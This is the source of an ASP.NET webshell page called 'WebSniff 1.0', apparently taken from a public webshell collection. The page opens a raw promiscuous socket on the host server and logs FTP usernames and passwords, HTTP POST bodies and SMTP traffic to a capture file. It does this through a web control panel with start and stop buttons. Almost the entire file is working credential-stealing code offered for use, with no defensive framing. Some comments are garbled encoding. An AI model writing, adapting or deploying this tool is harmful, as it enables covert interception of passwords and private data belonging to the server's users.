mirror of
https://github.com/tennc/webshell
synced 2024-11-24 20:23:04 +00:00
707 lines
20 KiB
Text
707 lines
20 KiB
Text
<%@ Page Language="C#" ValidateRequest="false" %>
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<%@ Import Namespace="System.Net.Sockets" %>
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<%@ Import Namespace="System.Net" %>
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<%@ Import Namespace="System.IO" %>
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<%@ Import Namespace="System.Collections" %>
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<%@ Import Namespace="System.Text" %>
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<%@ Import Namespace="System.Net.NetworkInformation" %>
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<%@ Import Namespace="System.Threading" %>
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
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<html xmlns="http://www.w3.org/1999/xhtml">
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<head runat="server">
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<title>WebSniff 1.0 Powered by C.C.T¡£linx Ð޸İæ </title>
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</head>
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<body>
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<script runat="server">
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static private Socket mainSocket; //The socket which captures all incoming packets
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private static byte[] byteData = new byte[2048];
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private static bool bContinueCapturing = true; //A flag to check if packets are to be captured or not
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static int stoppackes = 0;
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static int port = 0;
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static string strIP = null;
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static long packets = 0;
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static System.IO.FileStream wfs;
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static string logfile =null;
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static PacketCaptureWriter pktwt;
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static string keyword;
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static DateTime stoptime = System.DateTime.Now.AddYears(-8);
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static Thread th;
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static int minisizepacket=0;
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static string proException = null;
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static Boolean logNextPacket = false;
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static Boolean my_s_ftp= true;
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static Boolean my_s_http_post = false;
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static Boolean my_s_smtp = false;
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protected void Page_Load(object sender, EventArgs e)
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{
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if (logfile == null)
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{
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logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".txt");
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}
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if (stoptime.Year == (System.DateTime.Now.Year - 8))
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{
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System.DateTime nextDay = System.DateTime.Now.AddDays(1);
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stoptime = nextDay;
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}
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//ûÓÐÉú³ÉIPÁбí
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if (ddlist.Items.Count==0)
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{
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IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
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if (HosyEntry.AddressList.Length > 0)
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{
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foreach (IPAddress ip in HosyEntry.AddressList)
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{
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ddlist.Items.Add(ip.ToString());
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}
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}
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}
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//Èç²»Êǵã»÷Starts°´Å¥£¬Ôò´òÓ¡ÒѾÉè¹ýµÄ²ÎÊý
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if (Request.Form["Starts"] == null)
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{
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this.ddlist.SelectedValue = strIP;
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this.txtport.Text = port.ToString();
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this.txtMinisize.Text = minisizepacket.ToString();
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this.txtkeywords.Text = keyword;
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this.txtlogfile.Text = logfile;
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this.txtpackets.Text = stoptime.ToString();
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this.s_ftp.Checked = my_s_ftp;
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this.s_http_post.Checked = my_s_http_post;
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this.s_smtp.Checked = my_s_smtp;
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}
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if (th != null )
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{
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this.Lb_msg.Text = System.DateTime.Now.ToString()+" State: <b>" + th.ThreadState.ToString() +"</b> Packets: "+packets.ToString();
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}
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else
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{
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this.Lb_msg.Text = "Sniff Treads is not started";
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}
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if (Request.Form["Starts"] != null || th != null)
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{
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this.Starts.Enabled = false;
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}
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else
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{
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this.Starts.Enabled = true;
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}
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//µã»÷ÁËstop°´Å¥
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if (Request.Form["Button1"] != null)
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{
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this.Starts.Enabled = true;
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this.Lb_msg.Text = System.DateTime.Now.ToString() + " State: <b>stoping. Click \"Refresh\" again to see if thread is stoped successed.</b> Packets: " + packets.ToString();
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}
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Lb_msg2.Text = proException; //´íÎóÐÅÏ¢
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}
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protected void Refresh_Click(object sender, EventArgs e)
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{
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}
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protected void Stop_Click(object sender, EventArgs e)
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{
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packets = stoppackes;
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//stoptime = System.DateTime.Now;
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proException += "<br>last time stop at " + System.DateTime.Now.ToString();
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bContinueCapturing = false;
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if (th != null)
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{
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th.Abort();
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th = null;
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}
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try
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{
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wfs.Close();
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mainSocket.Close();
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}
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catch (Exception ex)
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{
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}
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}
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protected void Pagestart()
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{
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//¼Ç¼ÉèÖùýµÄ²ÎÊý
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strIP = ddlist.SelectedValue;
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port = Int32.Parse(txtport.Text);
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stoptime = Convert.ToDateTime( txtpackets.Text);
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logfile = this.txtlogfile.Text;
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keyword = txtkeywords.Text;
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minisizepacket = Int32.Parse(txtMinisize.Text);
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my_s_ftp = this.s_ftp.Checked;
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my_s_http_post = this.s_http_post.Checked;
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my_s_smtp = this.s_smtp.Checked;
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wfs = System.IO.File.Create(logfile);
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pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
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bContinueCapturing = true;
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packets = 0;
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Start();
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}
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private static void Start()
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{
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byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
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byte[] byOut = new byte[4] { 1, 0, 0, 0 };
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try
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{
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bContinueCapturing = true;
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mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
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mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
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mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
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mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
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}
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catch (Exception ex)
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{
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proException += ex.ToString()+"<BR>"; //¾²Ì¬·½·¨¿ÉÒÔ·ÃÎʾ²Ì¬±äÁ¿proException
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}
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byteData = new byte[2048];
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while (System.DateTime.Now <= stoptime)
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{
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ParseData(byteData, mainSocket.Receive(byteData));
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}
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bContinueCapturing = false;
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wfs.Close();
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mainSocket.Close();
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}
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protected void Start_Click(object sender, EventArgs e)
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{
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if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
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th = new Thread(new ThreadStart(Pagestart));
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th.Start();
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//Session["workthread"] = th;
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this.Lb_msg.Text = "\r\nSniffing.Click \"Refresh\" to see the lastest status.";
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}
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public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
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{
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ushort u = 0;
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if (Type == 0)
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{
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u = (ushort)ptr[Index++];
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u *= 256;
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u += (ushort)ptr[Index++];
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}
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else if (Type == 1)
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{
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u = (ushort)ptr[++Index];
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u *= 256; Index--;
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u += (ushort)ptr[Index++]; Index++;
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}
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return u;
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}
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private static void ParseData(byte[] byteData, int nReceived)
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{
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try
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{
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byte[] nbyte = new byte[nReceived];
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Array.Copy(byteData, nbyte, nReceived);
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if ((int)nbyte[9] == 6)
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{
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int sport = Get2Bytes(nbyte, 20,0);
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int dport = Get2Bytes(nbyte, 22,0);
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String datas=Encoding.Default.GetString(nbyte);
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Boolean logIt=false;
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if (my_s_ftp)
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{
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if ((sport == 21 || dport == 21) &&
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(datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
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)
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{
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logIt =true;
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}
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}
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if (!logIt && my_s_http_post)
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{
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if(logNextPacket){
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logIt =true;
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logNextPacket=false;
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}
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if (!logIt && datas.IndexOf("POST ")>=0)
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{
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logIt =true;
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logNextPacket=true;
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}
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}
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if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
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{
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logIt =true;
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}
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//Åж϶˿Ú
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if (!logIt && (dport == port || sport == port))
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{
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if (nReceived > minisizepacket)
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{
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//ÅжϹؼü×Ö
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if (keyword != "")
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{
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if (datas.IndexOf(keyword) >= 0)
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{
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logIt =true;
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}
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}
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else
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{
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logIt =true;
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}
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}
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}
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if(logIt){
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PacketCapture pkt = new PacketCapture(nbyte, nReceived);
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pktwt.Write(pkt);
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packets++;
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}
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}
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}
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catch { }
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}
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public struct UnixTime
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{
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public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
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public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
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private readonly int _Value;
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public UnixTime(int value)
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{
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if (value < 0)
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throw new ArgumentOutOfRangeException("value");
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_Value = value;
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}
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public int Value
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{
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get { return _Value; }
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}
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public DateTime ToDateTime()
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{
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const long START = 621355968000000000; // 1970-1-1 00:00:00
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return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
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}
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public static UnixTime FromDateTime(DateTime dateTime)
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{
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if (dateTime < MinDateTime || dateTime > MaxDateTime)
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throw new ArgumentOutOfRangeException("dateTime");
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TimeSpan span = dateTime.Subtract(MinDateTime);
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return new UnixTime((int)span.TotalSeconds);
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}
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public override string ToString()
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{
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return ToDateTime().ToString();
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}
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}
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public enum LinkLayerType : uint
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{
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Null = 0,
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Ethernet = 1,
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RawIP = 101,
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User0 = 147,
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User1 = 148,
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User2 = 149,
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User3 = 150,
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User4 = 151,
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User5 = 152,
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User6 = 153,
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User7 = 154,
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User8 = 155,
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User9 = 156,
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User10 = 157,
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User11 = 158,
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User12 = 159,
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User13 = 160,
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User14 = 161,
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User15 = 162,
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}
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public sealed class PacketCaptureWriter
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{
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#region Fields
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private const uint MAGIC = 0xA1B2C3D4;
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private readonly Stream _BaseStream;
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private readonly LinkLayerType _LinkLayerType;
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private readonly int _MaxPacketLength;
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private readonly BinaryWriter m_Writer;
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private bool m_ExistHeader = false;
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private int _TimeZone;
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private int _CaptureTimestamp;
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#endregion
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#region Constructors
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public PacketCaptureWriter(
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Stream baseStream, LinkLayerType linkLayerType,
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int maxPacketLength, int captureTimestamp)
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{
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if (baseStream == null) throw new ArgumentNullException("baseStream");
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if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
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if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
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_BaseStream = baseStream;
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_LinkLayerType = linkLayerType;
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_MaxPacketLength = maxPacketLength;
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_CaptureTimestamp = captureTimestamp;
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m_Writer = new BinaryWriter(_BaseStream);
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}
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public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
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: this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
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{
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}
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public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
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: this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
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{
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}
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#endregion
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#region Properties
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public short VersionMajor
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{
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get { return 2; }
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}
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public short VersionMinjor
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{
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get { return 4; }
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}
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public int TimeZone
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{
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get { return _TimeZone; }
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set { _TimeZone = value; }
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}
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public int CaptureTimestamp
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{
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get { return _CaptureTimestamp; }
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set { _CaptureTimestamp = value; }
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}
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public Stream BaseStream
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{
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get { return _BaseStream; }
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}
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public LinkLayerType LinkLaterType
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{
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get { return _LinkLayerType; }
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}
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public int MaxPacketLength
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{
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get { return _MaxPacketLength; }
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}
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#endregion
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public void Write(PacketCapture packet)
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{
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CheckHeader();
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m_Writer.Write(packet.Timestamp.Value);
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m_Writer.Write(packet.Millseconds);
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m_Writer.Write(packet.Packet.Count);
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m_Writer.Write(packet.RawLength);
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m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
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}
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public void Flush()
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{
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BaseStream.Flush();
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}
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private void CheckHeader()
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{
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if (!m_ExistHeader)
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{
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m_Writer.Write(MAGIC);
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m_Writer.Write(VersionMajor);
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m_Writer.Write(VersionMinjor);
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m_Writer.Write(TimeZone);
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m_Writer.Write(CaptureTimestamp);
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m_Writer.Write(MaxPacketLength);
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m_Writer.Write((uint)LinkLaterType);
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m_ExistHeader = true;
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}
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}
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}
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public sealed class PacketCapture
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{
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private readonly UnixTime _Timestamp;
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private readonly ArraySegment<byte> _Packet;
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private readonly int _RawLength;
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private readonly int _Millseconds;
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public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
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{
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if (packet.Count > rawLength)
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throw new ArgumentException("Length Error", "rawLength");
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_Packet = packet;
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_Timestamp = timestamp;
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_RawLength = rawLength;
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_Millseconds = millseconds;
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}
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public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
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: this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
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{
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}
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public PacketCapture(ArraySegment<byte> packet, int rawLength)
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: this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
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{
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}
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public PacketCapture(ArraySegment<byte> packet)
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: this(packet, packet.Count)
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{
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}
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public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
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: this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
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{
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}
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public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
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: this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
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{
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}
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public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
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: this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
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{
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}
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public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
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: this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
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{
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}
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public PacketCapture(byte[] packetData, int rawLength)
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: this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
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{
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}
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public PacketCapture(byte[] packetData)
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: this(packetData, packetData.Length)
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{
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}
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public ArraySegment<byte> Packet
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{
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get { return _Packet; }
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}
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public UnixTime Timestamp
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{
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get { return _Timestamp; }
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}
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public int Millseconds
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{
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get { return _Millseconds; }
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}
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public int RawLength
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{
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get { return _RawLength; }
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}
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}
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</script>
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<style type="text/css">
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<!--
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a {
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color: #FF0000 ;text-decoration: none
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}
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#b
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{
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color: #336699;
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font-size: 10pt;
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text-align: right;
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}
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#tt
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{
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vertical-align: middle;
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font-size: 12pt;
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text-align: center;
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}
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#Ct_2
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{
|
||
padding-left:30px;
|
||
font-size: 10pt;
|
||
color: #336699;
|
||
vertical-align: middle;
|
||
text-align: left;
|
||
background-color: aliceblue;
|
||
border-width: 1px;
|
||
border-style: solid;
|
||
border-color: -moz-use-text-color;
|
||
padding-bottom:10px;
|
||
}
|
||
-->
|
||
</style>
|
||
<form id="form1" runat="server">
|
||
<div id="tt"> <b> WebSniff 1.0</b><br /><br /> </div>
|
||
<div id="Ct_2" >
|
||
<table width="100%" >
|
||
<tr >
|
||
<td width="10%"> BindIP: </td>
|
||
<td ><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
|
||
</tr>
|
||
|
||
<tr >
|
||
<td width="10%">Auto sniff: </td>
|
||
<td >
|
||
FTP Password:
|
||
<asp:CheckBox ID="s_ftp" runat="server" Checked />
|
||
|
||
|
||
HTTP Post Data:
|
||
<asp:CheckBox ID="s_http_post" runat="server" />
|
||
|
||
|
||
Smtp Data:
|
||
<asp:CheckBox ID="s_smtp" runat="server" />
|
||
|
||
|
||
</td>
|
||
</tr>
|
||
|
||
|
||
|
||
<tr>
|
||
<td ">
|
||
FilterPort:
|
||
</td>
|
||
<td>
|
||
<asp:TextBox ID="txtport" Text="0" width="90%" runat="server"></asp:TextBox>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td >
|
||
MiniSizeToCapture:
|
||
</td>
|
||
<td >
|
||
<asp:TextBox ID="txtMinisize" Text="0" width="90%" runat="server" ></asp:TextBox>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td>
|
||
KeyWordsFilter:
|
||
</td>
|
||
<td>
|
||
<asp:TextBox ID="txtkeywords" runat="server" width="90%" Text=""></asp:TextBox>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td >
|
||
LogFile:
|
||
</td>
|
||
<td>
|
||
<asp:TextBox ID="txtlogfile" runat="server" width="90%" Text="log.log" ></asp:TextBox>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td >
|
||
Stop At Time:
|
||
</td>
|
||
<td>
|
||
<asp:TextBox ID="txtpackets" runat="server" width="90%" Text="300"></asp:TextBox>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td >
|
||
Control:
|
||
</td>
|
||
<td width="90%" > <asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="Start" />
|
||
<asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="Stop" />
|
||
<asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="Refresh/View Status" /><br />
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td >
|
||
Status:
|
||
</td>
|
||
<td width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label>
|
||
</td>
|
||
</tr>
|
||
|
||
<tr>
|
||
<td >
|
||
|
||
</td>
|
||
<td width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label>
|
||
</td>
|
||
</tr>
|
||
|
||
|
||
|
||
</table>
|
||
</div><br /><br />
|
||
<div id=b>Powered by <a href="//www.cncert.net"> C.C.T </a>|Version 1.0
|
||
|
||
<a href=" http://hi.baidu.com/cnqing/blog/item/92d8b35008ad871f377abee4.html">1</a>
|
||
|
||
<a href="http://hi.baidu.com/linx2008/blog/item/7020f1de1b1c805395ee3768.html">2</a>
|
||
</div>
|
||
|
||
|
||
|
||
|
||
</form>
|
||
</body>
|
||
</html>
|